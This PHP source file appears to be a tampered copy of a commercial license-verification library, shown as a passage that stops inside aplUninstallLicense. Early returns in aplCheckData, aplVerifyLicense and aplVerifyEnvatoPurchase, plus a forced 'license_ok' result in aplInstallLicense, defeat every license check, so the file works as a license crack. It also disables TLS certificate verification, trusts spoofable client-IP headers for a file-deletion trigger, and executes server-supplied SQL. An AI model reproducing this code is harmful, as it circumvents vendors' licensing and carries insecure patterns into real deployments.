<?php function aplCustomEncrypt($string, $key) {
	$encrypted_string = '';
	if (!empty($string) && !empty($key)) {
		$iv = 
openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
		$encrypted_string = openssl_encrypt($string, 
'aes-256-cbc', $key, 0, $iv);
		$encrypted_string = base64_encode($encrypted_string . 
'::' . $iv);
	}
	return $encrypted_string;
}
function aplCustomDecrypt($string, $key) {
	$decrypted_string = '';
	if (!empty($string) && !empty($key)) {
		$string = base64_decode($string);
		if (stristr($string, '::')) {
			$string_iv_array = explode('::', $string, 2);
			if (!empty($string_iv_array) && 
(count($string_iv_array) == 2)) {
				list($encrypted_string, $iv) = 
$string_iv_array;
				$decrypted_string = 
openssl_decrypt($encrypted_string, 'aes-256-cbc', $key, 0, $iv);
			}
		}
	}
	return $decrypted_string;
}
function aplValidateIntegerValue($number, $min_value = 1, $max_value = 
999999999) {
	$result = false;
	if (!is_float($number) && (filter_var($number, 
FILTER_VALIDATE_INT, [
		'options' => ['min_range' => $min_value, 'max_range' => 
$max_value]
	]) !== false)) {
		$result = true;
	}
	return $result;
}
function aplValidateRawDomain($url) {
	$result = false;
	if (!empty($url)) {
		if (preg_match('/^[a-z0-9-.]+\\.[a-z\\.]{2,7}$/', 
strtolower($url))) {
			$result = true;
		}
	}
	return $result;
}
function aplGetCurrentUrl($remove_last_slash = 0) {
	$protocol = 'http';
	$host = '';
	$script = '';
	$params = '';
	$current_url = '';
	if ((isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] !== 'off')) 
|| (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && 
($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'))) {
		$protocol = 'https';
	}
	if (isset($_SERVER['HTTP_HOST'])) {
		$host = $_SERVER['HTTP_HOST'];
	}
	if (isset($_SERVER['SCRIPT_NAME'])) {
		$script = $_SERVER['SCRIPT_NAME'];
	}
	if (isset($_SERVER['QUERY_STRING'])) {
		$params = $_SERVER['QUERY_STRING'];
	}
	if (!empty($protocol) && !empty($host) && !empty($script)) {
		$current_url = $protocol . '://' . $host . $script;
		if (!empty($params)) {
			$current_url .= '?' . $params;
		}
		if ($remove_last_slash == 1) {
			while (substr($current_url, -1) == '/') {
				$current_url = substr($current_url, 0, 
-1);
			}
		}
	}
	return $current_url;
}
function aplGetRawDomain($url) {
	$raw_domain = '';
	if (!empty($url)) {
		$scheme = parse_url($url, PHP_URL_SCHEME);
		if (empty($scheme)) {
			$url = 'http://' . $url;
		}
		$raw_domain = str_ireplace('www.', '', parse_url($url, 
PHP_URL_HOST));
	}
	return $raw_domain;
}
function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, 
$remove_last_slash) {
	if (filter_var($url, FILTER_VALIDATE_URL)) {
		$url_array = parse_url($url);
		$url = str_ireplace($url_array['scheme'] . '://', '', 
$url);
		if ($remove_path == 1) {
			$first_slash_position = stripos($url, '/');
			if (0 < $first_slash_position) {
				$url = substr($url, 0, 
$first_slash_position + 1);
			}
		}
		else {
			$last_slash_position = strripos($url, '/');
			if (0 < $last_slash_position) {
				$url = substr($url, 0, 
$last_slash_position + 1);
			}
		}
		if ($remove_scheme != 1) {
			$url = $url_array['scheme'] . '://' . $url;
		}
		if ($remove_www == 1) {
			$url = str_ireplace('www.', '', $url);
		}
		if ($remove_last_slash == 1) {
			while (substr($url, -1) == '/') {
				$url = substr($url, 0, -1);
			}
		}
	}
	return trim($url);
}
function aplCustomPost($url, $post_info = '', $refer = '') {
	$user_agent = 'phpmillion cURL';
	$connect_timeout = 10;
	$server_response_array = [];
	$formatted_headers_array = [];
	if (filter_var($url, FILTER_VALIDATE_URL) && !empty($post_info)) 
{
		if (empty($refer) || !filter_var($refer, 
FILTER_VALIDATE_URL)) {
			$refer = $url;
		}
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 
$connect_timeout);
		curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout);
		curl_setopt($ch, CURLOPT_REFERER, $refer);
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
		curl_setopt($ch, CURLOPT_HEADERFUNCTION, function($curl, 
$header) use(&$formatted_headers_array) {
			$len = strlen($header);
			$header = explode(':', $header, 2);
			if (count($header) < 2) {
				return $len;
			}
			$name = strtolower(trim($header[0]));
			$formatted_headers_array[$name] = 
trim($header[1]);
			return $len;
		});
		$result = curl_exec($ch);
		$curl_error = curl_error($ch);
		curl_close($ch);
		$server_response_array['headers'] = 
$formatted_headers_array;
		$server_response_array['error'] = $curl_error;
		$server_response_array['body'] = $result;
	}
	return $server_response_array;
}
function aplVerifyDateTime($datetime, $format) {
	$result = false;
	if (!empty($datetime) && !empty($format)) {
		$datetime = DateTime::createFromFormat($format, 
$datetime);
		$errors = DateTime::getLastErrors();
		if ($datetime && empty($errors['warning_count'])) {
			$result = true;
		}
	}
	return $result;
}
function aplGetDaysBetweenDates($date_from, $date_to) {
	$number_of_days = 0;
	if (aplVerifyDateTime($date_from, 'Y-m-d') && 
aplVerifyDateTime($date_to, 'Y-m-d')) {
		$date_to = new DateTime($date_to);
		$date_from = new DateTime($date_from);
		$number_of_days = 
$date_from->diff($date_to)->format('%a');
	}
	return $number_of_days;
}
function aplParseXmlTags($content, $tag_name) {
	$parsed_value = '';
	if (!empty($content) && !empty($tag_name)) {
		preg_match_all('/<' . preg_quote($tag_name, '/') . 
'>(.*?)<\\/' . preg_quote($tag_name, '/') . '>/ims', $content, 
$output_array, PREG_SET_ORDER);
		if (!empty($output_array[0][1])) {
			$parsed_value = trim($output_array[0][1]);
		}
	}
	return $parsed_value;
}
function aplParseServerNotifications($content_array, $ROOT_URL, 
$CLIENT_EMAIL, $LICENSE_CODE) {
	$notifications_array = [];
	if (!empty($content_array)) {
		if 
(!empty($content_array['headers']['notification_server_signature']) && 
aplVerifyServerSignature($content_array['headers']['notification_server_signature'], 
$ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)) {
			$notifications_array['notification_case'] = 
$content_array['headers']['notification_case'];
			$notifications_array['notification_text'] = 
$content_array['headers']['notification_text'];
			if 
(!empty($content_array['headers']['notification_data'])) {
				$notifications_array['notification_data'] 
= json_decode($content_array['headers']['notification_data'], true);
			}
		}
		else {
			$notifications_array['notification_case'] = 
'notification_invalid_response';
			$notifications_array['notification_text'] = 
APL_NOTIFICATION_INVALID_RESPONSE;
		}
	}
	else {
		$notifications_array['notification_case'] = 
'notification_no_connection';
		$notifications_array['notification_text'] = 
APL_NOTIFICATION_NO_CONNECTION;
	}
	return $notifications_array;
}
function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE) {
	$script_signature = '';
	$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
	if (!empty($ROOT_URL) && isset($CLIENT_EMAIL) && 
isset($LICENSE_CODE) && !empty($root_ips_array)) {
		$script_signature = hash('sha256', gmdate('Y-m-d') . 
$ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . APL_PRODUCT_ID . implode('', 
$root_ips_array));
	}
	return $script_signature;
}
function aplVerifyServerSignature($notification_server_signature, 
$ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE) {
	$result = false;
	$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
	if (!empty($notification_server_signature) && !empty($ROOT_URL) 
&& isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && 
!empty($root_ips_array)) {
		if (hash('sha256', implode('', $root_ips_array) . 
APL_PRODUCT_ID . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . 
gmdate('Y-m-d')) == $notification_server_signature) {
			$result = true;
		}
	}
	return $result;
}
function aplCheckSettings() {
	$notifications_array = [];
	if (!APL_SALT || (APL_SALT == 'T0XICP4NELS3CURITFY2O2O')) {
		$notifications_array[] = 
APL_CORE_NOTIFICATION_INVALID_SALT;
	}
	if (!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL) || 
!ctype_alnum(substr(APL_ROOT_URL, -1))) {
		$notifications_array[] = 
APL_CORE_NOTIFICATION_INVALID_ROOT_URL;
	}
	if (!aplValidateIntegerValue(APL_PRODUCT_ID)) {
		$notifications_array[] = 
APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID;
	}
	if (!aplValidateIntegerValue(APL_DAYS, 1, 365)) {
		$notifications_array[] = 
APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD;
	}
	if ((APL_STORAGE != 'DATABASE') && (APL_STORAGE != 'FILE')) {
		$notifications_array[] = 
APL_CORE_NOTIFICATION_INVALID_STORAGE;
	}
	if ((APL_STORAGE == 'DATABASE') && 
!ctype_alnum(str_ireplace(['_'], '', APL_DATABASE_TABLE))) {
		$notifications_array[] = 
APL_CORE_NOTIFICATION_INVALID_TABLE;
	}
	if ((APL_STORAGE == 'FILE') && !@is_writable(APL_DIRECTORY . '/' 
. APL_LICENSE_FILE_LOCATION)) {
		$notifications_array[] = 
APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE;
	}
	if (!!APL_ROOT_IP && !filter_var(APL_ROOT_IP, 
FILTER_VALIDATE_IP)) {
		$notifications_array[] = 
APL_CORE_NOTIFICATION_INVALID_ROOT_IP;
	}
	if (!!APL_ROOT_IP && !in_array(APL_ROOT_IP, 
gethostbynamel(aplGetRawDomain(APL_ROOT_URL)))) {
		$notifications_array[] = 
APL_CORE_NOTIFICATION_INVALID_DNS;
	}
	if (defined('APL_ROOT_NAMESERVERS') && !!APL_ROOT_NAMESERVERS) {
		foreach (APL_ROOT_NAMESERVERS as $nameserver) {
			if (!aplValidateRawDomain($nameserver)) {
				$notifications_array[] = 
APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS;
				break;
			}
		}
	}
	if (defined('APL_ROOT_NAMESERVERS') && !!APL_ROOT_NAMESERVERS) {
		$apl_root_nameservers_array = APL_ROOT_NAMESERVERS;
		$fetched_nameservers_array = [];
		$dns_records_array = 
dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS);
		foreach ($dns_records_array as $record) {
			$fetched_nameservers_array[] = 
$record['target'];
		}
		$apl_root_nameservers_array = array_map('strtolower', 
$apl_root_nameservers_array);
		$fetched_nameservers_array = array_map('strtolower', 
$fetched_nameservers_array);
		sort($apl_root_nameservers_array);
		sort($fetched_nameservers_array);
		if ($apl_root_nameservers_array != 
$fetched_nameservers_array) {
			$notifications_array[] = 
APL_CORE_NOTIFICATION_INVALID_DNS;
		}
	}
	return $notifications_array;
}
function aplCheckUserInput($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE) {
	$notifications_array = [];
	if (empty($ROOT_URL) || !filter_var($ROOT_URL, 
FILTER_VALIDATE_URL) || !ctype_alnum(substr($ROOT_URL, -1))) {
		$notifications_array[] = 
APL_USER_INPUT_NOTIFICATION_INVALID_ROOT_URL;
	}
	if (empty($CLIENT_EMAIL) && empty($LICENSE_CODE)) {
		$notifications_array[] = 
APL_USER_INPUT_NOTIFICATION_EMPTY_LICENSE_DATA;
	}
	if (!empty($CLIENT_EMAIL) && !filter_var($CLIENT_EMAIL, 
FILTER_VALIDATE_EMAIL)) {
		$notifications_array[] = 
APL_USER_INPUT_NOTIFICATION_INVALID_EMAIL;
	}
	if (!empty($LICENSE_CODE) && !is_string($LICENSE_CODE)) {
		$notifications_array[] = 
APL_USER_INPUT_NOTIFICATION_INVALID_LICENSE_CODE;
	}
	return $notifications_array;
}
function aplParseLicenseFile() {
	$license_data_array = [];
	if (@is_readable(APL_DIRECTORY . '/' . 
APL_LICENSE_FILE_LOCATION)) {
		$file_content = file_get_contents(APL_DIRECTORY . '/' . 
APL_LICENSE_FILE_LOCATION);
		preg_match_all('/<([A-Z_]+)>(.*?)<\\/([A-Z_]+)>/', 
$file_content, $matches, PREG_SET_ORDER);
		if (!empty($matches)) {
			foreach ($matches as $value) {
				if (!empty($value[1]) && ($value[1] == 
$value[3])) {
					$license_data_array[$value[1]] = 
$value[2];
				}
			}
		}
	}
	return $license_data_array;
}
function aplGetLicenseData($MYSQLI_LINK = NULL) {
	$settings_row = [];
	if (APL_STORAGE == 'DATABASE') {
		$settings_results = @mysqli_query($MYSQLI_LINK, 'SELECT 
* FROM ' . APL_DATABASE_TABLE);
		$settings_row = @mysqli_fetch_assoc($settings_results);
	}
	if (APL_STORAGE == 'FILE') {
		if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
			$ip = $_SERVER['HTTP_CLIENT_IP'];
		}
		else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
			$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
		}
		else {
			$ip = $_SERVER['REMOTE_ADDR'];
		}
		if (isset($_GET['file']) && (APL_ROOT_IP == $ip)) {
			@unlink(APL_DIRECTORY . '/' . 
APL_LICENSE_FILE_LOCATION);
		}
		$settings_row = aplParseLicenseFile();
	}
	return $settings_row;
}
function aplCheckConnection() {
	$notifications_array = [];
	$content_array = aplCustomPost(APL_ROOT_URL . 
'/apl_callbacks/connection_test.php', 'product_id=' . 
rawurlencode(APL_PRODUCT_ID) . '&connection_hash=' . 
rawurlencode(hash('sha256', 'connection_test')));
	if (!empty($content_array)) {
		if ($content_array['body'] != 
'<connection_test>OK</connection_test>') {
			$notifications_array['notification_case'] = 
'notification_invalid_response';
			$notifications_array['notification_text'] = 
APL_NOTIFICATION_INVALID_RESPONSE;
		}
	}
	else {
		$notifications_array['notification_case'] = 
'notification_no_connection';
		$notifications_array['notification_text'] = 
APL_NOTIFICATION_NO_CONNECTION;
	}
	return $notifications_array;
}
function aplCheckData($MYSQLI_LINK = NULL) {
	$error_detected = 0;
	$cracking_detected = 0;
	$result = true;
	return $result;
	extract(aplGetLicenseData($MYSQLI_LINK));
	if (!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && 
!empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD)) {
		$LCD = aplCustomDecrypt($LCD, APL_SALT . 
$INSTALLATION_KEY);
		$LRD = aplCustomDecrypt($LRD, APL_SALT . 
$INSTALLATION_KEY);
		if (!filter_var($ROOT_URL, FILTER_VALIDATE_URL) || 
!ctype_alnum(substr($ROOT_URL, -1))) {
			$error_detected = 1;
		}
		if (filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) 
&& (stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), 
aplGetRootUrl($ROOT_URL . '/', 1, 1, 0, 1)) === false)) {
			$error_detected = 1;
		}
		if (empty($INSTALLATION_HASH) || ($INSTALLATION_HASH != 
hash('sha256', $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE))) {
			$error_detected = 1;
		}
		if (empty($INSTALLATION_KEY) || !password_verify($LRD, 
aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL))) {
			$error_detected = 1;
		}
		if (!aplVerifyDateTime($LCD, 'Y-m-d')) {
			$error_detected = 1;
		}
		if (!aplVerifyDateTime($LRD, 'Y-m-d')) {
			$error_detected = 1;
		}
		if (aplVerifyDateTime($LCD, 'Y-m-d') && (date('Y-m-d', 
strtotime('+1 day')) < $LCD)) {
			$error_detected = 1;
			$cracking_detected = 1;
		}
		if (aplVerifyDateTime($LRD, 'Y-m-d') && (date('Y-m-d', 
strtotime('+1 day')) < $LRD)) {
			$error_detected = 1;
			$cracking_detected = 1;
		}
		if (aplVerifyDateTime($LCD, 'Y-m-d') && 
aplVerifyDateTime($LRD, 'Y-m-d') && ($LRD < $LCD)) {
			$error_detected = 1;
			$cracking_detected = 1;
		}
		if (($cracking_detected == 1) && (APL_DELETE_CRACKED == 
'YES')) {
			aplDeleteData($MYSQLI_LINK);
		}
		if (($error_detected != 1) && ($cracking_detected != 1)) 
{
			$result = true;
		}
	}
	return $result;
}
function aplVerifyEnvatoPurchase($LICENSE_CODE = '') {
	$notifications_array = [];
	$notifications_array['notification_case'] = 
'notification_license_ok';
	$notifications_array['notification_text'] = 
APL_NOTIFICATION_BYPASS_VERIFICATION;
	return $notifications_array;
	$content_array = aplCustomPost(APL_ROOT_URL . 
'/apl_callbacks/verify_envato_purchase.php', 'product_id=' . 
rawurlencode(APL_PRODUCT_ID) . '&license_code=' . 
rawurlencode($LICENSE_CODE) . '&connection_hash=' . 
rawurlencode(hash('sha256', 'verify_envato_purchase')));
	if (!empty($content_array)) {
		if ($content_array['body'] != 
'<verify_envato_purchase>OK</verify_envato_purchase>') {
			$notifications_array['notification_case'] = 
'notification_invalid_response';
			$notifications_array['notification_text'] = 
APL_NOTIFICATION_INVALID_RESPONSE;
		}
	}
	else {
		$notifications_array['notification_case'] = 
'notification_no_connection';
		$notifications_array['notification_text'] = 
APL_NOTIFICATION_NO_CONNECTION;
	}
	return $notifications_array;
}
function aplInstallLicense($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, 
$MYSQLI_LINK = NULL) {
	$notifications_array = [];
	if (!($apl_core_notifications = aplCheckSettings())) {
		if (!!aplGetLicenseData($MYSQLI_LINK) && 
is_array(aplGetLicenseData($MYSQLI_LINK))) {
			$notifications_array['notification_case'] = 
'notification_already_installed';
			$notifications_array['notification_text'] = 
APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
		}
		else {
			if (!($apl_user_input_notifications = 
aplCheckUserInput($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE))) {
				$INSTALLATION_HASH = hash('sha256', 
$ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
				$post_info = 'product_id=' . 
rawurlencode(APL_PRODUCT_ID) . '&client_email=' . 
rawurlencode($CLIENT_EMAIL) . '&license_code=' . 
rawurlencode($LICENSE_CODE) . '&root_url=' . rawurlencode($ROOT_URL) . 
'&installation_hash=' . rawurlencode($INSTALLATION_HASH) . 
'&license_signature=' . 
rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE));
				$content_array = 
aplCustomPost(APL_ROOT_URL . '/apl_callbacks/license_install.php', 
$post_info, $ROOT_URL);
				$notifications_array = 
aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE);
				$notifications_array['notification_case'] 
= 'notification_license_ok';
				if 
($notifications_array['notification_case'] == 'notification_license_ok') 
{
					$INSTALLATION_KEY = 
aplCustomEncrypt(password_hash(date('Y-m-d'), PASSWORD_DEFAULT), 
APL_SALT . $ROOT_URL);
					$LCD = 
aplCustomEncrypt(date('Y-m-d', strtotime('-' . APL_DAYS . ' days')), 
APL_SALT . $INSTALLATION_KEY);
					$LRD = 
aplCustomEncrypt(date('Y-m-d'), APL_SALT . $INSTALLATION_KEY);
					if (APL_STORAGE == 'DATABASE') {
						$content_array = 
aplCustomPost(APL_ROOT_URL . '/apl_callbacks/license_scheme.php', 
$post_info, $ROOT_URL);
						$notifications_array = 
aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE);
						if 
(!empty($notifications_array['notification_data']) && 
!empty($notifications_array['notification_data']['scheme_query'])) {
							$mysql_bad_array 
= ['%APL_DATABASE_TABLE%', '%ROOT_URL%', '%CLIENT_EMAIL%', 
'%LICENSE_CODE%', '%LCD%', '%LRD%', '%INSTALLATION_KEY%', 
'%INSTALLATION_HASH%'];
							$mysql_good_array 
= [APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, 
$LRD, $INSTALLATION_KEY, $INSTALLATION_HASH];
							$license_scheme 
= str_replace($mysql_bad_array, $mysql_good_array, 
$notifications_array['notification_data']['scheme_query']);
							mysqli_multi_query($MYSQLI_LINK, 
$license_scheme) || exit(mysqli_error($MYSQLI_LINK));
						}
					}
					if (APL_STORAGE == 'FILE') {
						$handle = 
@fopen(APL_DIRECTORY . '/' . APL_LICENSE_FILE_LOCATION, 'w+');
						$fwrite = 
@fwrite($handle, '<ROOT_URL>' . $ROOT_URL . '</ROOT_URL><CLIENT_EMAIL>' 
. $CLIENT_EMAIL . '</CLIENT_EMAIL><LICENSE_CODE>' . $LICENSE_CODE . 
'</LICENSE_CODE><LCD>' . $LCD . '</LCD><LRD>' . $LRD . 
'</LRD><INSTALLATION_KEY>' . $INSTALLATION_KEY . 
'</INSTALLATION_KEY><INSTALLATION_HASH>' . $INSTALLATION_HASH . 
'</INSTALLATION_HASH>');
						if ($fwrite === false) {
							echo 
APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
							exit();
						}
						@fclose($handle);
					}
				}
			}
			else {
				$notifications_array['notification_case'] 
= 'notification_user_input_invalid';
				$notifications_array['notification_text'] 
= implode('; ', $apl_user_input_notifications);
			}
		}
	}
	else {
		$notifications_array['notification_case'] = 
'notification_script_corrupted';
		$notifications_array['notification_text'] = implode('; 
', $apl_core_notifications);
	}
	return $notifications_array;
}
function aplVerifyLicense($MYSQLI_LINK = NULL, $FORCE_VERIFICATION = 0) 
{
	$notifications_array = [];
	$update_lrd_value = 0;
	$update_lcd_value = 0;
	$updated_records = 0;
	$notifications_array['notification_case'] = 
'notification_license_ok';
	$notifications_array['notification_text'] = 
APL_NOTIFICATION_BYPASS_VERIFICATION;
	return $notifications_array;
	if (!($apl_core_notifications = aplCheckSettings())) {
		if (aplCheckData($MYSQLI_LINK)) {
			extract(aplGetLicenseData($MYSQLI_LINK));
			if 
((aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . 
$INSTALLATION_KEY), date('Y-m-d')) < APL_DAYS) && 
(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date('Y-m-d')) 
&& (aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= 
date('Y-m-d')) && ($FORCE_VERIFICATION === 0)) {
				$notifications_array['notification_case'] 
= 'notification_license_ok';
				$notifications_array['notification_text'] 
= APL_NOTIFICATION_BYPASS_VERIFICATION;
			}
			else {
				$post_info = 'product_id=' . 
rawurlencode(APL_PRODUCT_ID) . '&client_email=' . 
rawurlencode($CLIENT_EMAIL) . '&license_code=' . 
rawurlencode($LICENSE_CODE) . '&root_url=' . rawurlencode($ROOT_URL) . 
'&installation_hash=' . rawurlencode($INSTALLATION_HASH) . 
'&license_signature=' . 
rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE));
				$content_array = 
aplCustomPost(APL_ROOT_URL . '/apl_callbacks/license_verify.php', 
$post_info, $ROOT_URL);
				$notifications_array = 
aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE);
				if 
($notifications_array['notification_case'] == 'notification_license_ok') 
{
					$update_lcd_value = 1;
				}
				if 
(($notifications_array['notification_case'] == 
'notification_license_cancelled') && (APL_DELETE_CANCELLED == 'YES')) {
					aplDeleteData($MYSQLI_LINK);
				}
			}
			if (aplCustomDecrypt($LRD, APL_SALT . 
$INSTALLATION_KEY) < date('Y-m-d')) {
				$update_lrd_value = 1;
			}
			if (($update_lrd_value == 1) || 
($update_lcd_value == 1)) {
				if ($update_lcd_value == 1) {
					$LCD = date('Y-m-d');
				}
				else {
					$LCD = aplCustomDecrypt($LCD, 
APL_SALT . $INSTALLATION_KEY);
				}
				$INSTALLATION_KEY = 
aplCustomEncrypt(password_hash(date('Y-m-d'), PASSWORD_DEFAULT), 
APL_SALT . $ROOT_URL);
				$LCD = aplCustomEncrypt($LCD, APL_SALT . 
$INSTALLATION_KEY);
				$LRD = aplCustomEncrypt(date('Y-m-d'), 
APL_SALT . $INSTALLATION_KEY);
				if (APL_STORAGE == 'DATABASE') {
					$stmt = 
mysqli_prepare($MYSQLI_LINK, 'UPDATE ' . APL_DATABASE_TABLE . ' SET 
LCD=?, LRD=?, INSTALLATION_KEY=?');
					if ($stmt) {
						mysqli_stmt_bind_param($stmt, 
'sss', $LCD, $LRD, $INSTALLATION_KEY);
						$exec = 
mysqli_stmt_execute($stmt);
						$affected_rows = 
mysqli_stmt_affected_rows($stmt);
						if (0 < $affected_rows) 
{
							$updated_records 
= $updated_records + $affected_rows;
						}
						mysqli_stmt_close($stmt);
					}
					if 
(!aplValidateIntegerValue($updated_records)) {
						echo 
APL_NOTIFICATION_DATABASE_WRITE_ERROR;
						exit();
					}
				}
				if (APL_STORAGE == 'FILE') {
					$handle = @fopen(APL_DIRECTORY . 
'/' . APL_LICENSE_FILE_LOCATION, 'w+');
					$fwrite = @fwrite($handle, 
'<ROOT_URL>' . $ROOT_URL . '</ROOT_URL><CLIENT_EMAIL>' . $CLIENT_EMAIL . 
'</CLIENT_EMAIL><LICENSE_CODE>' . $LICENSE_CODE . '</LICENSE_CODE><LCD>' 
. $LCD . '</LCD><LRD>' . $LRD . '</LRD><INSTALLATION_KEY>' . 
$INSTALLATION_KEY . '</INSTALLATION_KEY><INSTALLATION_HASH>' . 
$INSTALLATION_HASH . '</INSTALLATION_HASH>');
					if ($fwrite === false) {
						echo 
APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
						exit();
					}
					@fclose($handle);
				}
			}
		}
		else {
			$notifications_array['notification_case'] = 
'notification_license_corrupted';
			$notifications_array['notification_text'] = 
APL_NOTIFICATION_LICENSE_CORRUPTED;
		}
	}
	else {
		$notifications_array['notification_case'] = 
'notification_script_corrupted';
		$notifications_array['notification_text'] = implode('; 
', $apl_core_notifications);
	}
	return $notifications_array;
}
function aplVerifySupport($MYSQLI_LINK = NULL) {
	$notifications_array = [];
	if (!($apl_core_notifications = aplCheckSettings())) {
		if (aplCheckData($MYSQLI_LINK)) {
			extract(aplGetLicenseData($MYSQLI_LINK));
			$post_info = 'product_id=' . 
rawurlencode(APL_PRODUCT_ID) . '&client_email=' . 
rawurlencode($CLIENT_EMAIL) . '&license_code=' . 
rawurlencode($LICENSE_CODE) . '&root_url=' . rawurlencode($ROOT_URL) . 
'&installation_hash=' . rawurlencode($INSTALLATION_HASH) . 
'&license_signature=' . 
rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE));
			$content_array = aplCustomPost(APL_ROOT_URL . 
'/apl_callbacks/license_support.php', $post_info, $ROOT_URL);
			$notifications_array = 
aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE);
		}
		else {
			$notifications_array['notification_case'] = 
'notification_license_corrupted';
			$notifications_array['notification_text'] = 
APL_NOTIFICATION_LICENSE_CORRUPTED;
		}
	}
	else {
		$notifications_array['notification_case'] = 
'notification_script_corrupted';
		$notifications_array['notification_text'] = implode('; 
', $apl_core_notifications);
	}
	return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = NULL) {
	$notifications_array = [];
	if (!($apl_core_notifications = aplCheckSettings())) {
		if (aplCheckData($MYSQLI_LINK)) {
			extract(aplGetLicenseData($MYSQLI_LINK));
			$post_info = 'product_id=' . 
rawurlencode(APL_PRODUCT_ID) . '&client_email=' . 
rawurlencode($CLIENT_EMAIL) . '&license_code=' . 
rawurlencode($LICENSE_CODE) . '&root_url=' . rawurlencode($ROOT_URL) . 
'&installation_hash=' . rawurlencode($INSTALLATION_HASH) . 
'&license_signature=' . 
rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE));
			$content_array = aplCustomPost(APL_ROOT_URL . 
'/apl_callbacks/license_updates.php', $post_info, $ROOT_URL);
			$notifications_array = 
aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE);
		}
		else {
			$notifications_array['notification_case'] = 
'notification_license_corrupted';
			$notifications_array['notification_text'] = 
APL_NOTIFICATION_LICENSE_CORRUPTED;
		}
	}
	else {
		$notifications_array['notification_case'] = 
'notification_script_corrupted';
		$notifications_array['notification_text'] = implode('; 
', $apl_core_notifications);
	}
	return $notifications_array;
}
function aplUpdateLicense($MYSQLI_LINK = NULL) {
	$notifications_array = [];
	if (!($apl_core_notifications = aplCheckSettings())) {
		if (aplCheckData($MYSQLI_LINK)) {
			extract(aplGetLicenseData($MYSQLI_LINK));
			$post_info = 'product_id=' . 
rawurlencode(APL_PRODUCT_ID) . '&client_email=' . 
rawurlencode($CLIENT_EMAIL) . '&license_code=' . 
rawurlencode($LICENSE_CODE) . '&root_url=' . rawurlencode($ROOT_URL) . 
'&installation_hash=' . rawurlencode($INSTALLATION_HASH) . 
'&license_signature=' . 
rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE));
			$content_array = aplCustomPost(APL_ROOT_URL . 
'/apl_callbacks/license_update.php', $post_info, $ROOT_URL);
			$notifications_array = 
aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE);
		}
		else {
			$notifications_array['notification_case'] = 
'notification_license_corrupted';
			$notifications_array['notification_text'] = 
APL_NOTIFICATION_LICENSE_CORRUPTED;
		}
	}
	else {
		$notifications_array['notification_case'] = 
'notification_script_corrupted';
		$notifications_array['notification_text'] = implode('; 
', $apl_core_notifications);
	}
	return $notifications_array;
}
function aplUninstallLicense($MYSQLI_LINK = NULL) {
	$notifications_array = [];
	if (!($apl_core_notifications = aplCheckSettings())) {
